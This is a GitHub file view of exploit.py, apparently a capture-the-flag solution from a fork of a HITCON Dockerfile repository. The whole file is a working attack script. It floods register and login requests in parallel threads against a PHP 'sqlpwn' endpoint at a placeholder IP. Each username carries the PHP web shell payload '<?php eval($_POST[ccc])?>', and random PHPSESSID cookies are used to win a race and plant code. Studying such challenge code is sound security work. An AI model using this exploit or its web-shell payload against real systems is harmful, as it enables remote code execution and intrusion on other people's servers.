forked from t3hp0rP/hitconDockerfile
-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.py
28 lines (24 loc) · 971 Bytes
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time
import requests
import threading
from random import randint
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(0xfffff):
time.sleep(0.1)
name = '<?php eval($_POST[ccc])?>' + str(i)
data = {'name': name, 'pass': name}
def reg(name):
r = requests.post( 'http://1.2.3.4/sqlpwn.php?mode=register',
headers=headers,
data=data)
def login(name):
_h = dict(headers)
_h['Cookie'] = 'PHPSESSID=%dphp' % randint(0,0xffffff)
r = requests.post( 'http://1.2.3.4/sqlpwn.php?mode=login',
headers=_h,
data=data)
if 'user locked' not in r.content and 'user not found' not in r.content :
print _h
exit()
threading.Thread(target=login, args=(name, )).start()
threading.Thread(target=reg, args=(name, )).start()